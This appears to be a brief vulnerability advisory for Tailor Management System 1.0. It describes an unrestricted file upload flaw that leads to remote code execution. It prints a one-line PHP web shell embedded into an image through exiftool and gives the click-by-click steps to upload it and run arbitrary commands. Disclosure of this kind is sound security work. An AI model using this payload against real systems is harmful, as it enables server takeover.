Tailor Management System 1.0 – Unrestricted File Upload to Remote Code Execution
Tailor Management System 1.0 is vulnerable to unrestricted file upload to remote code execution. An attacker can upload a malicious image with the code 'exiftool -Comment='<?php system($_GET['cmd']); ?>' r0b0t.jpg' and rename the malicious image to have include a '.php' extention. Then, the attacker can log in to the CMS with any valid user credentials, select Measurement Settings and click on 'Set Measurement Parts', fill the required details and upload malicious image. After that, the attacker can select Measurement Settings and click on 'View/Edit Measurement Parts', use the search filter to find the measurement and click on 'edit' to edit details. Then, the attacker can right click on the broken image and copy image location. Finally, the attacker can paste image location in browser and execute arbitrary commands.
